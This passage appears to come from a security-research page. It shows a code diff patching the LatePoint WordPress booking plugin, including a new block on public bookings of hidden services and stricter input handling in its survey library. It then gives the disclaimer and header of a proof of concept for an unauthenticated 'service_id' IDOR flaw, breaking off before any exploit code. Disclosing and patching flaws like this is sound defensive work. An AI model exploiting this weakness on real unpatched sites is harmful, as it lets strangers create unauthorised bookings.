-		 * @param  array $notice Notice arguments.
-		 * @return boolean
-		 */
-		private static function is_expired( $notice ) {
-			$transient_status = get_transient( $notice['id'] );
-
-			if ( false === $transient_status ) {
-
-				if ( isset( $notice['display-notice-after'] ) && false !== $notice['display-notice-after'] ) {
-
-					if ( 'delayed-notice' !== get_user_meta( get_current_user_id(), $notice['id'], true ) &&
-						'notice-dismissed' !== get_user_meta( get_current_user_id(), $notice['id'], true ) ) {
-						set_transient( $notice['id'], 'delayed-notice', $notice['display-notice-after'] );
-						update_user_meta( get_current_user_id(), $notice['id'], 'delayed-notice' );
-
-						return false;
-					}
-				}
-
-				// Check the user meta status if current notice is dismissed or delay completed.
-				$meta_status = get_user_meta( get_current_user_id(), $notice['id'], true );
-
-				if ( empty( $meta_status ) || 'delayed-notice' === $meta_status ) {
-					return true;
-				}
-			}
-
-			return false;
-		}
-
-		/**
-		 * Get base URL for the astra-notices.
-		 *
-		 * @return mixed URL.
-		 */
-		public static function get_url() {
-			$path      = wp_normalize_path( dirname( __FILE__ ) ); // phpcs:ignore Modernize.FunctionCalls.Dirname.FileConstant
-			$theme_dir = wp_normalize_path( get_template_directory() );
-
-			if ( strpos( $path, $theme_dir ) !== false ) {
-				return trailingslashit( get_template_directory_uri() . str_replace( $theme_dir, '', $path ) );
-			} else {
-				return plugin_dir_url( __FILE__ );
-			}
-		}
-	}
-
-	/**
-	 * Kicking this off by calling 'get_instance()' method
-	 */
-	Astra_Notices::get_instance();
-
-endif;
--- a/latepoint/lib/kit/astra-notices/class-bsf-admin-notices.php
+++ b/latepoint/lib/kit/astra-notices/class-bsf-admin-notices.php
@@ -0,0 +1,463 @@
+<?php
+/**
+ * BSF Admin Notices
+ *
+ * An easy to use PHP Library to add dismissible admin notices in the WordPress admin.
+ *
+ * @package BSF Admin Notices
+ * @since   1.2.0
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+if ( ! class_exists( 'BSF_Admin_Notices' ) ) :
+
+	/**
+	 * BSF_Admin_Notices
+	 *
+	 * Renamed from Astra_Notices. All runtime strings (AJAX action, nonce,
+	 * script handles, JS globals, CSS classes, option keys, ID prefixes) are
+	 * intentionally frozen at their original values so old plugin JS/CSS that
+	 * is already shipped continues to work without updates.
+	 *
+	 * @since 1.2.0
+	 */
+	class BSF_Admin_Notices {
+
+		/**
+		 * Library version.
+		 *
+		 * @access private
+		 * @var string
+		 * @since 1.2.0
+		 */
+		private static $version = '1.2.3';
+
+		/**
+		 * Registered notices.
+		 *
+		 * @access private
+		 * @var array
+		 * @since 1.2.0
+		 */
+		private static $notices = array();
+
+		/**
+		 * Instance.
+		 *
+		 * @access private
+		 * @var object Class object.
+		 * @since 1.2.0
+		 */
+		private static $instance;
+
+		/**
+		 * Initiator.
+		 *
+		 * @since 1.2.0
+		 * @return object initialized object of class.
+		 */
+		public static function get_instance() {
+			if ( ! isset( self::$instance ) ) {
+				self::$instance = new self();
+			}
+			return self::$instance;
+		}
+
+		/**
+		 * Constructor.
+		 *
+		 * @since 1.2.0
+		 */
+		public function __construct() {
+			$this->maybe_migrate_notices_option();
+			add_action( 'admin_notices', array( $this, 'show_notices' ), 30 );
+			add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
+			add_action( 'wp_ajax_astra-notice-dismiss', array( $this, 'dismiss_notice' ) );
+			add_filter( 'wp_kses_allowed_html', array( $this, 'add_data_attributes' ), 10, 2 );
+		}
+
+		/**
+		 * Migrate allowed_astra_notices → astra_notices_allowed (one-time, on first load).
+		 *
+		 * @since 1.2.2
+		 * @return void
+		 */
+		private function maybe_migrate_notices_option() {
+			$old = get_option( 'allowed_astra_notices', false );
+			if ( false !== $old ) {
+				update_option( 'astra_notices_allowed', $old );
+				delete_option( 'allowed_astra_notices' );
+			}
+		}
+
+		/**
+		 * Filters and returns a list of allowed tags and attributes for a given context.
+		 *
+		 * @param array  $allowedposttags array of allowed tags.
+		 * @param string $context Context type (explicit).
+		 * @since 1.2.0
+		 * @return array
+		 */
+		public function add_data_attributes( $allowedposttags, $context ) { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed
+			$allowedposttags['a']['data-repeat-notice-after'] = true;
+
+			return $allowedposttags;
+		}
+
+		/**
+		 * Add Notice.
+		 *
+		 * @since 1.2.0
+		 * @param array $args Notice arguments.
+		 * @return void
+		 */
+		public static function add_notice( $args = array() ) {
+			self::$notices[] = $args;
+
+			if ( ! isset( $args['id'] ) ) {
+				return;
+			}
+
+			$notice_id = sanitize_key( $args['id'] ); // Notice ID.
+			$notices   = get_option( 'astra_notices_allowed', array() );
+			if ( ! in_array( $notice_id, $notices, true ) ) {
+				$notices[] = $notice_id; // Add notice id to the array.
+				update_option( 'astra_notices_allowed', $notices ); // Update the option.
+			}
+		}
+
+		/**
+		 * Dismiss Notice.
+		 *
+		 * @since 1.2.0
+		 * @return void
+		 */
+		public function dismiss_notice() {
+			check_ajax_referer( 'astra-notices', 'nonce' );
+
+			$notice_id           = ( isset( $_POST['notice_id'] ) ) ? sanitize_key( wp_unslash( $_POST['notice_id'] ) ) : '';
+			$repeat_notice_after = ( isset( $_POST['repeat_notice_after'] ) ) ? absint( wp_unslash( $_POST['repeat_notice_after'] ) ) : 0;
+			$notice              = $this->get_notice_by_id( $notice_id );
+			$capability          = isset( $notice['capability'] ) ? $notice['capability'] : 'manage_options';
+
+			$has_cap = current_user_can( $capability );
+
+			/**
+			 * Filters whether the current user passes the capability check for notice dismissal.
+			 *
+			 * Both the legacy and new filter names are fired for backward compatibility.
+			 * Filters can only restrict access (return false), never grant it — if the
+			 * underlying current_user_can() check fails, filters cannot override to true.
+			 */
+			$cap_check = apply_filters( 'astra_notices_user_cap_check', $has_cap );
+			$cap_check = apply_filters( 'bsf_admin_notices_user_cap_check', $cap_check );
+
+			if ( ! $has_cap || ! $cap_check ) {
+				wp_send_json_error( esc_html__( 'Permission denied.', 'astra-notices' ) );
+			}
+
+			$allowed_notices = get_option( 'astra_notices_allowed', array() ); // Get allowed notices.
+
+			// Define restricted user meta keys using the dynamic table prefix.
+			global $wpdb;
+			$wp_default_meta_keys = array(
+				$wpdb->prefix . 'capabilities',
+				$wpdb->prefix . 'user_level',
+				$wpdb->prefix . 'user-settings',
+				'account_status',
+				'session_tokens',
+			);
+
+			// if $notice_id does not start with astra-notices-id and notice_id is not from the allowed notices, then return.
+			if ( 0 !== strpos( $notice_id, 'astra-notices-id-' ) && ( ! in_array( $notice_id, $allowed_notices, true ) ) ) {
+				wp_send_json_error( esc_html__( 'Invalid notice ID.', 'astra-notices' ) );
+			}
+
+			// Valid inputs?
+			if ( ! empty( $notice_id ) ) {
+
+				if ( in_array( $notice_id, $wp_default_meta_keys, true ) ) {
+					wp_send_json_error( esc_html__( 'Invalid notice ID.', 'astra-notices' ) );
+				}
+
+				if ( ! empty( $repeat_notice_after ) ) {
+					set_transient( $notice_id, true, $repeat_notice_after );
+				} else {
+					update_user_meta( get_current_user_id(), $notice_id, 'notice-dismissed' );
+				}
+
+				wp_send_json_success();
+			}
+
+			wp_send_json_error();
+		}
+
+		/**
+		 * Enqueue Scripts.
+		 *
+		 * @since 1.2.0
+		 * @return void
+		 */
+		public function enqueue_scripts() {
+			wp_register_style( 'bsf-astra-notices', self::get_url() . 'notices.css', array(), self::$version );
+			wp_register_script( 'bsf-astra-notices', self::get_url() . 'notices.js', array( 'jquery' ), self::$version, true );
+			wp_localize_script(
+				'bsf-astra-notices',
+				'bsfAstraNotices',
+				array(
+					'_notice_nonce' => wp_create_nonce( 'astra-notices' ),
+				)
+			);
+		}
+
+		/**
+		 * Sort the notices based on the given priority of the notice.
+		 * This function is called from usort()
+		 *
+		 * @since 1.2.0
+		 * @param array $notice_1 First notice.
+		 * @param array $notice_2 Second Notice.
+		 * @return array
+		 */
+		public function sort_notices( $notice_1, $notice_2 ) {
+			if ( ! isset( $notice_1['priority'] ) ) {
+				$notice_1['priority'] = 10;
+			}
+			if ( ! isset( $notice_2['priority'] ) ) {
+				$notice_2['priority'] = 10;
+			}
+
+			return $notice_1['priority'] - $notice_2['priority'];
+		}
+
+		/**
+		 * Get all registered notices.
+		 *
+		 * @return array|null
+		 */
+		private function get_notices() {
+			usort( self::$notices, array( $this, 'sort_notices' ) );
+
+			return self::$notices;
+		}
+
+		/**
+		 * Get notice by notice_id.
+		 *
+		 * @param string $notice_id Notice id.
+		 *
+		 * @return array notice based on the notice id.
+		 */
+		private function get_notice_by_id( $notice_id ) {
+			if ( empty( $notice_id ) ) {
+				return array();
+			}
+
+			$notices = $this->get_notices();
+			$notice  = wp_list_filter(
+				$notices,
+				array(
+					'id' => $notice_id,
+				)
+			);
+
+			return ( ! empty( $notice ) && isset( $notice[0] ) ) ? $notice[0] : array();
+		}
+
+		/**
+		 * Display the notices in the WordPress admin.
+		 *
+		 * @since 1.2.0
+		 * @return void
+		 */
+		public function show_notices() {
+			$defaults = array(
+				'id'                         => '',      // Optional, Notice ID. If empty it set `astra-notices-id-<$array-index>`.
+				'type'                       => 'info',  // Optional, Notice type. Default `info`. Expected [info, warning, notice, error].
+				'message'                    => '',      // Optional, Message.
+				'show_if'                    => true,    // Optional, Show notice on custom condition. E.g. 'show_if' => if( is_admin() ) ? true, false, .
+				'repeat-notice-after'        => '',      // Optional, Dismiss-able notice time. It'll auto show after given time.
+				'display-notice-after'       => false,      // Optional, Dismiss-able notice time. It'll auto show after given time.
+				'class'                      => '',      // Optional, Additional notice wrapper class.
+				'priority'                   => 10,      // Priority of the notice.
+				'display-with-other-notices' => true,    // Should the notice be displayed if other notices  are being displayed from BSF_Admin_Notices.
+				'is_dismissible'             => true,
+				'capability'                 => 'manage_options', // User capability - This capability is required for the current user to see this notice.
+			);
+
+			// Count for the notices that are rendered.
+			$notices_displayed = 0;
+			$notices           = $this->get_notices();
+
+			foreach ( $notices as $key => $notice ) {
+				$notice = wp_parse_args( $notice, $defaults );
+
+				// Show notices only for users with `manage_options` cap.
+				if ( ! current_user_can( $notice['capability'] ) ) {
+					continue;
+				}
+
+				$notice['id']      = self::get_notice_id( $notice, $key );
+				$notice['classes'] = self::get_wrap_classes( $notice );
+
+				// Notices visible after transient expire.
+				if ( isset( $notice['show_if'] ) && true === $notice['show_if'] ) {
+
+					// don't display the notice if it is not supposed to be displayed with other notices.
+					if ( 0 !== $notices_displayed && false === $notice['display-with-other-notices'] ) {
+						continue;
+					}
+
+					if ( self::is_expired( $notice ) ) {
+
+						self::markup( $notice );
+						++$notices_displayed;
+					}
+				}
+			}
+		}
+
+		/**
+		 * Render a notice.
+		 *
+		 * @since 1.2.0
+		 * @param  array $notice Notice markup.
+		 * @return void
+		 */
+		public static function markup( $notice = array() ) {
+			wp_enqueue_script( 'bsf-astra-notices' );
+			wp_enqueue_style( 'bsf-astra-notices' );
+
+			// Dual-emit: legacy (astra_notice_*) + new (bsf_admin_notice_*) hooks for backward compat.
+			// Note: consumers hooking BOTH names for the same event will be called twice.
+			do_action( 'astra_notice_before_markup' );
+			do_action( 'bsf_admin_notice_before_markup' );
+
+			do_action( "astra_notice_before_markup_{$notice['id']}" );
+			do_action( "bsf_admin_notice_before_markup_{$notice['id']}" );
+
+			?>
+			<div id="<?php echo esc_attr( $notice['id'] ); ?>" class="<?php echo esc_attr( 'astra-notice-wrapper ' . $notice['classes'] ); ?>" data-repeat-notice-after="<?php echo esc_attr( $notice['repeat-notice-after'] ); ?>">
+				<div class="astra-notice-container">
+					<?php do_action( "astra_notice_inside_markup_{$notice['id']}" ); ?>
+					<?php do_action( "bsf_admin_notice_inside_markup_{$notice['id']}" ); ?>
+					<?php echo wp_kses_post( $notice['message'] ); ?>
+				</div>
+			</div>
+			<?php
+
+			do_action( "astra_notice_after_markup_{$notice['id']}" );
+			do_action( "bsf_admin_notice_after_markup_{$notice['id']}" );
+
+			do_action( 'astra_notice_after_markup' );
+			do_action( 'bsf_admin_notice_after_markup' );
+		}
+
+		/**
+		 * Get wrapper classes for a notice.
+		 *
+		 * @since 1.2.0
+		 *
+		 * @param  array $notice Notice arguments.
+		 * @return array       Notice wrapper classes.
+		 */
+		private static function get_wrap_classes( $notice ) {
+			$classes = array( 'astra-notice', 'notice' );
+
+			if ( $notice['is_dismissible'] ) {
+				$classes[] = 'is-dismissible';
+			}
+
+			$classes[] = $notice['class'];
+			if ( isset( $notice['type'] ) && '' !== $notice['type'] ) {
+				$classes[] = 'notice-' . $notice['type'];
+			}
+
+			return esc_attr( implode( ' ', $classes ) );
+		}
+
+		/**
+		 * Get HTML ID for a given notice.
+		 *
+		 * @since 1.2.0
+		 *
+		 * @param  array $notice Notice arguments.
+		 * @param  int   $key    Notice array index.
+		 * @return string HTML if for the notice.
+		 */
+		private static function get_notice_id( $notice, $key ) {
+			if ( isset( $notice['id'] ) && ! empty( $notice['id'] ) ) {
+				return $notice['id'];
+			}
+
+			return 'astra-notices-id-' . $key;
+		}
+
+		/**
+		 * Check if the notice is expires.
+		 *
+		 * @since 1.2.0
+		 *
+		 * @param  array $notice Notice arguments.
+		 * @return boolean
+		 */
+		private static function is_expired( $notice ) {
+			$transient_status = get_transient( $notice['id'] );
+
+			if ( false === $transient_status ) {
+
+				if ( isset( $notice['display-notice-after'] ) && false !== $notice['display-notice-after'] ) {
+
+					if ( 'delayed-notice' !== get_user_meta( get_current_user_id(), $notice['id'], true ) &&
+						'notice-dismissed' !== get_user_meta( get_current_user_id(), $notice['id'], true ) ) {
+						set_transient( $notice['id'], 'delayed-notice', $notice['display-notice-after'] );
+						update_user_meta( get_current_user_id(), $notice['id'], 'delayed-notice' );
+
+						return false;
+					}
+				}
+
+				// Check the user meta status if current notice is dismissed or delay completed.
+				$meta_status = get_user_meta( get_current_user_id(), $notice['id'], true );
+
+				if ( empty( $meta_status ) || 'delayed-notice' === $meta_status ) {
+					return true;
+				}
+			}
+
+			return false;
+		}
+
+		/**
+		 * Get base URL for the library assets.
+		 *
+		 * @return mixed URL.
+		 */
+		public static function get_url() {
+			$path      = wp_normalize_path( dirname( __FILE__ ) ); // phpcs:ignore Modernize.FunctionCalls.Dirname.FileConstant
+			$theme_dir = wp_normalize_path( get_template_directory() );
+
+			if ( false !== strpos( $path, $theme_dir ) ) {
+				return trailingslashit( get_template_directory_uri() . str_replace( $theme_dir, '', $path ) );
+			} else {
+				return plugin_dir_url( __FILE__ );
+			}
+		}
+	}
+
+	/**
+	 * Kicking this off by calling 'get_instance()' method
+	 */
+	BSF_Admin_Notices::get_instance();
+
+endif;
+
+// Backward compatibility alias for bsf-analytics library and third-party plugins
+// that still reference the old class name. Safe to remove once all consumers
+// are updated.
+if ( ! class_exists( 'Astra_Notices' ) ) {
+	class_alias( 'BSF_Admin_Notices', 'Astra_Notices' ); // phpcs:ignore PHPCompatibility.FunctionUse.NewFunctions.class_aliasFound
+}
--- a/latepoint/lib/kit/bsf-analytics/class-bsf-analytics.php
+++ b/latepoint/lib/kit/bsf-analytics/class-bsf-analytics.php
@@ -93,7 +93,7 @@
 		public function set_actions() {

 			foreach ( $this->entities as $key => $data ) {
-				add_action( 'astra_notice_before_markup_' . $key . '-optin-notice', array( $this, 'enqueue_assets' ) );
+				add_action( 'bsf_admin_notice_before_markup_' . $key . '-optin-notice', array( $this, 'enqueue_assets' ) );
 				add_action( 'update_option_' . $key . '_usage_optin', array( $this, 'update_analytics_option_callback' ), 10, 3 );
 				add_action( 'add_option_' . $key . '_usage_optin', array( $this, 'add_analytics_option_callback' ), 10, 2 );
 			}
@@ -235,6 +235,9 @@
 		 * @since 1.0.0
 		 */
 		public function option_notice() {
+			if ( ! class_exists( 'BSF_Admin_Notices' ) ) {
+				return;
+			}

 			if ( ! current_user_can( 'manage_options' ) ) {
 				return;
@@ -279,7 +282,7 @@

 				$language_dir = is_rtl() ? 'rtl' : 'ltr';

-				Astra_Notices::add_notice(
+				BSF_Admin_Notices::add_notice(
 					array(
 						'id'                         => $key . '-optin-notice',
 						'type'                       => '',
--- a/latepoint/lib/kit/bsf-analytics/modules/deactivation-survey/classes/class-deactivation-survey-feedback.php
+++ b/latepoint/lib/kit/bsf-analytics/modules/deactivation-survey/classes/class-deactivation-survey-feedback.php
@@ -207,6 +207,7 @@

 			wp_enqueue_style( 'uds-feedback-style', $dir_path . 'assets/css/feedback' . $file_ext . '.css', array(), BSF_ANALYTICS_VERSION );
 			wp_style_add_data( 'uds-feedback-style', 'rtl', 'replace' );
+			wp_style_add_data( 'uds-feedback-style', 'suffix', $file_ext );
 		}

 		/**
--- a/latepoint/lib/kit/bsf-analytics/modules/utm-analytics.php
+++ b/latepoint/lib/kit/bsf-analytics/modules/utm-analytics.php
@@ -49,6 +49,7 @@
 			'surecontact',
 			'surecookie',
 			'suredash',
+			'suredonation',
 			'sureforms',
 			'suremails',
 			'surerank',
--- a/latepoint/lib/kit/nps-survey/classes/nps-survey-script.php
+++ b/latepoint/lib/kit/nps-survey/classes/nps-survey-script.php
@@ -104,26 +104,6 @@
 	}

 	/**
-	 * Generate and return the Google fonts url.
-	 *
-	 * @since 1.0.2
-	 * @return string
-	 */
-	public static function google_fonts_url() {
-
-		$font_families = array(
-			'Figtree:400,500,600,700',
-		);
-
-		$query_args = array(
-			'family' => rawurlencode( implode( '|', $font_families ) ),
-			'subset' => rawurlencode( 'latin,latin-ext' ),
-		);
-
-		return add_query_arg( $query_args, '//fonts.googleapis.com/css' );
-	}
-
-	/**
 	 * Load script.
 	 *
 	 * @param array<string> $show_on_screens An array of screen IDs where the scripts should be loaded.
@@ -187,7 +167,7 @@

 		wp_enqueue_style( 'nps-survey-style', $build_url . '/style-main.css', array(), NPS_SURVEY_VER );
 		wp_style_add_data( 'nps-survey-style', 'rtl', 'replace' );
-		wp_enqueue_style( 'nps-survey-google-fonts', self::google_fonts_url(), array(), 'all' );
+		wp_enqueue_style( 'nps-survey-fonts', NPS_SURVEY_URL . 'assets/fonts/figtree.css', array(), NPS_SURVEY_VER );
 	}

 	/**
@@ -210,7 +190,7 @@
 						'nps_id'      => array(
 							'type'              => 'string',
 							'required'          => true,
-							'sanitize_callback' => 'sanitize_text_field',
+							'sanitize_callback' => 'sanitize_key',
 						),
 						'rating'      => array(
 							'type'              => 'integer',
@@ -229,7 +209,7 @@
 						'plugin_slug' => array(
 							'type'              => 'string',
 							'required'          => true,
-							'sanitize_callback' => 'sanitize_text_field',
+							'sanitize_callback' => 'sanitize_key',
 						),
 					),
 				),
@@ -248,12 +228,12 @@
 						'nps_id'           => array(
 							'type'              => 'string',
 							'required'          => true,
-							'sanitize_callback' => 'sanitize_text_field',
+							'sanitize_callback' => 'sanitize_key',
 						),
 						'plugin_slug'      => array(
 							'type'              => 'string',
 							'required'          => true,
-							'sanitize_callback' => 'sanitize_text_field',
+							'sanitize_callback' => 'sanitize_key',
 						),
 						'dismiss_timespan' => array(
 							'type'              => 'integer',
@@ -372,9 +352,8 @@
 	/**
 	 * Submit Ratings.
 	 *
-	 * @param WP_REST_Request $request Request object.
-	 * @return void
-	 * @phpstan-ignore-next-line
+	 * @param WP_REST_Request<array<string,mixed>> $request Request object.
+	 * @return WP_REST_Response|WP_Error
 	 */
 	public static function submit_rating( $request ) {

@@ -382,17 +361,22 @@

 		// Verify the nonce.
 		if ( ! wp_verify_nonce( sanitize_text_field( (string) $nonce ), 'wp_rest' ) ) {
-			wp_send_json_error(
-				array(
-					'data'   => __( 'Nonce verification failed.', 'nps-survey' ),
-					'status' => false,
-
-				)
+			return new WP_Error(
+				'nonce_verification_failed',
+				__( 'Nonce verification failed.', 'nps-survey' ),
+				array( 'status' => 403 )
 			);
 		}

 		$current_user = wp_get_current_user();
-		$nps_id       = $request->get_param( 'nps_id' ) ?? '';
+		$raw_nps_id   = $request->get_param( 'nps_id' );
+		$raw_rating   = $request->get_param( 'rating' );
+		$raw_comment  = $request->get_param( 'comment' );
+		$raw_slug     = $request->get_param( 'plugin_slug' );
+		$nps_id       = sanitize_key( is_string( $raw_nps_id ) ? $raw_nps_id : '' );
+		$rating       = absint( is_numeric( $raw_rating ) ? $raw_rating : 0 );
+		$comment      = sanitize_text_field( is_string( $raw_comment ) ? $raw_comment : '' );
+		$plugin_slug  = sanitize_key( is_string( $raw_slug ) ? $raw_slug : '' );

 		/**
 		 * Filter the post data.
@@ -405,13 +389,13 @@
 		$post_data = apply_filters(
 			'nps_survey_post_data',
 			array(
-				'rating'      => ! empty( $request['rating'] ) ? sanitize_text_field( strval( $request['rating'] ) ) : '',
-				'comment'     => ! empty( $request['comment'] ) ? sanitize_text_field( strval( $request['comment'] ) ) : '',
+				'rating'      => $rating,
+				'comment'     => $comment,
 				'email'       => $current_user->user_email,
 				'first_name'  => ! empty( $current_user->first_name ) ? $current_user->first_name : $current_user->display_name,
 				'last_name'   => ! empty( $current_user->last_name ) ? $current_user->last_name : '',
-				'source'      => ! empty( $request['plugin_slug'] ) ? sanitize_text_field( strval( $request['plugin_slug'] ) ) : '',
-				'plugin_slug' => ! empty( $request['plugin_slug'] ) ? sanitize_text_field( strval( $request['plugin_slug'] ) ) : '',
+				'source'      => $plugin_slug,
+				'plugin_slug' => $plugin_slug,
 			),
 			$nps_id
 		);
@@ -442,12 +426,10 @@
 		$response = wp_safe_remote_post( $api_endpoint, $request_args );

 		if ( is_wp_error( $response ) ) {
-			// There was an error in the request.
-			wp_send_json_error(
-				array(
-					'data'   => 'Failed ' . $response->get_error_message(),
-					'status' => false,
-				)
+			return new WP_Error(
+				'remote_request_failed',
+				__( 'Remote request failed.', 'nps-survey' ),
+				array( 'status' => 500 )
 			);
 		}

@@ -457,7 +439,7 @@

 			// If the status update should be skipped, return success.
 			if ( self::should_skip_status_update( $nps_id, 'submit', $post_data ) ) {
-				wp_send_json_success(
+				return rest_ensure_response(
 					array(
 						'status' => true,
 					)
@@ -470,19 +452,19 @@
 				'dismiss_step'        => '',
 			);

-			update_option( self::get_nps_id( strval( $request['plugin_slug'] ) ), $nps_form_status, false );
+			update_option( self::get_nps_id( $plugin_slug ), $nps_form_status, false );

-			wp_send_json_success(
+			return rest_ensure_response(
 				array(
 					'status' => true,
 				)
 			);

 		} else {
-			wp_send_json_error(
-				array(
-					'status' => false,
-				)
+			return new WP_Error(
+				'api_error',
+				__( 'Request failed.', 'nps-survey' ),
+				array( 'status' => 500 )
 			);
 		}
 	}
@@ -490,9 +472,8 @@
 	/**
 	 * Dismiss NPS Survey.
 	 *
-	 * @param WP_REST_Request $request Request object.
-	 * @return void
-	 * @phpstan-ignore-next-line
+	 * @param WP_REST_Request<array<string,mixed>> $request Request object.
+	 * @return WP_REST_Response|WP_Error
 	 */
 	public static function dismiss_nps_survey_panel( $request ) {

@@ -500,45 +481,51 @@

 		// Verify the nonce.
 		if ( ! wp_verify_nonce( sanitize_text_field( (string) $nonce ), 'wp_rest' ) ) {
-			wp_send_json_error(
-				array(
-					'data'   => __( 'Nonce verification failed.', 'nps-survey' ),
-					'status' => false,
-
-				)
+			return new WP_Error(
+				'nonce_verification_failed',
+				__( 'Nonce verification failed.', 'nps-survey' ),
+				array( 'status' => 403 )
 			);
 		}

 		// If the status update should be skipped, return success.
-		$nps_id = $request->get_param( 'nps_id' ) ?? '';
+		$raw_nps_id       = $request->get_param( 'nps_id' );
+		$raw_slug         = $request->get_param( 'plugin_slug' );
+		$raw_timespan     = $request->get_param( 'dismiss_timespan' );
+		$raw_step         = $request->get_param( 'current_step' );
+		$nps_id           = sanitize_key( is_string( $raw_nps_id ) ? $raw_nps_id : '' );
+		$plugin_slug      = sanitize_key( is_string( $raw_slug ) ? $raw_slug : '' );
+		$dismiss_timespan = absint( is_numeric( $raw_timespan ) ? $raw_timespan : 0 );
+		$current_step     = sanitize_text_field( is_string( $raw_step ) ? $raw_step : '' );
+
 		if ( self::should_skip_status_update( $nps_id, 'dismiss' ) ) {
-			wp_send_json_success(
+			return rest_ensure_response(
 				array(
 					'status' => true,
 				)
 			);
 		}

-		$nps_form_status = self::get_nps_survey_dismiss_status( strval( $request['plugin_slug'] ) );
+		$nps_form_status = self::get_nps_survey_dismiss_status( $plugin_slug );

 		// Add dismiss timespan.
-		$nps_form_status['dismiss_timespan'] = absint( $request['dismiss_timespan'] );
+		$nps_form_status['dismiss_timespan'] = $dismiss_timespan;

 		// Add dismiss date.
 		$nps_form_status['dismiss_time'] = time();

 		// Update dismiss count.
 		$nps_form_status['dismiss_count'] += 1;
-		$nps_form_status['dismiss_step']   = sanitize_text_field( strval( $request['current_step'] ) );
+		$nps_form_status['dismiss_step']   = $current_step;

 		// Dismiss Permanantly.
 		if ( $nps_form_status['dismiss_count'] >= 2 ) {
 			$nps_form_status['dismiss_permanently'] = true;
 		}

-		update_option( self::get_nps_id( strval( $request['plugin_slug'] ) ), $nps_form_status );
+		update_option( self::get_nps_id( $plugin_slug ), $nps_form_status, false );

-		wp_send_json_success(
+		return rest_ensure_response(
 			array(
 				'status' => true,
 			)
--- a/latepoint/lib/kit/nps-survey/dist/main.asset.php
+++ b/latepoint/lib/kit/nps-survey/dist/main.asset.php
@@ -2,4 +2,4 @@
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
 }
-return array('dependencies' => array('react', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '3bf0d82f8476657f8546');
+return array('dependencies' => array('react', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '4e3b3dbec4d5ae4d2355');
--- a/latepoint/lib/kit/nps-survey/nps-survey-plugin-loader.php
+++ b/latepoint/lib/kit/nps-survey/nps-survey-plugin-loader.php
@@ -2,8 +2,8 @@
 /**
  * Plugin Loader.
  *
- * @package {{package}}
- * @since {{since}}
+ * @package NPS_Survey
+ * @since 1.0.0
  */

 namespace NPS_Survey;
--- a/latepoint/lib/kit/nps-survey/nps-survey.php
+++ b/latepoint/lib/kit/nps-survey/nps-survey.php
@@ -3,11 +3,12 @@
  * Plugin Name: NPS Survey
  * Description: It is a nps survey library.
  * Author: Brainstorm Force
- * Version: 1.0.21
+ * Version: 1.0.24
  * License: GPL v2
+ * License URI: https://www.gnu.org/licenses/gpl-2.0.html
  * Text Domain: nps-survey
  *
- * @package {{package}}
+ * @package NPS_Survey
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -23,5 +24,5 @@
 define( 'NPS_SURVEY_BASE', plugin_basename( NPS_SURVEY_FILE ) );
 define( 'NPS_SURVEY_DIR', plugin_dir_path( NPS_SURVEY_FILE ) );
 define( 'NPS_SURVEY_URL', plugins_url( '/', NPS_SURVEY_FILE ) );
-define( 'NPS_SURVEY_VER', '1.0.21' );
+define( 'NPS_SURVEY_VER', '1.0.24' );
 require_once 'nps-survey-plugin-loader.php';
--- a/latepoint/lib/models/booking_model.php
+++ b/latepoint/lib/models/booking_model.php
@@ -274,7 +274,7 @@
 				[
 					'start_datetime_utc' => $this->start_datetime_utc,
 					'end_datetime_utc'   => $this->end_datetime_utc,
-				]
+				]
 			);
 		}
 	}
@@ -292,7 +292,7 @@
 			[
 				'object_id'         => $id,
 				'object_model_type' => 'booking',
-			]
+			]
 		);


@@ -370,13 +370,13 @@
 				'manage_booking_by_key',
 				'ical_download',
 			],
-			[ 'key' => $key ]
+			[ 'key' => $key ]
 		) : OsRouterHelper::build_admin_post_link(
 			[
 				'customer_cabinet',
 				'ical_download',
 			],
-			[ 'latepoint_booking_id' => $this->id ]
+			[ 'latepoint_booking_id' => $this->id ]
 		);
 	}

@@ -511,6 +511,18 @@
 			$customer_requirement_satisfied = ( $this->customer_id && $customer && $customer->id && ( $this->customer_id == $customer->id ) );
 		}

+		// A hidden service is never bookable through the public booking flow, regardless of how
+		// the booking object was populated. Admins/agents book hidden services via the backend panel.
+		if ( $this->service_id ) {
+			$service = ( $this->service instanceof OsServiceModel && $this->service->id )
+				? $this->service
+				: new OsServiceModel( $this->service_id );
+			if ( $service->is_hidden() ) {
+				$this->add_error( 'send_to_step', __( 'Selected service is not available.', 'latepoint' ), 'booking__service' );
+				return false;
+			}
+		}
+
 		// agent, service and customer should be set
 		if ( $this->service_id && $this->agent_id && $customer_requirement_satisfied ) {

@@ -523,7 +535,7 @@
 														'service_id'                          => $this->service_id,
 														LATEPOINT_TABLE_AGENTS . '.status'    => LATEPOINT_AGENT_STATUS_ACTIVE,
 														LATEPOINT_TABLE_LOCATIONS . '.status' => LATEPOINT_LOCATION_STATUS_ACTIVE,
-													]
+													]
 				

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12657 - LatePoint <= 5.6.2 - Unauthenticated Insecure Direct Object Reference to Arbitrary Creation via 'service_id' Parameter

// Configuration - Set the target URL and vulnerable parameters
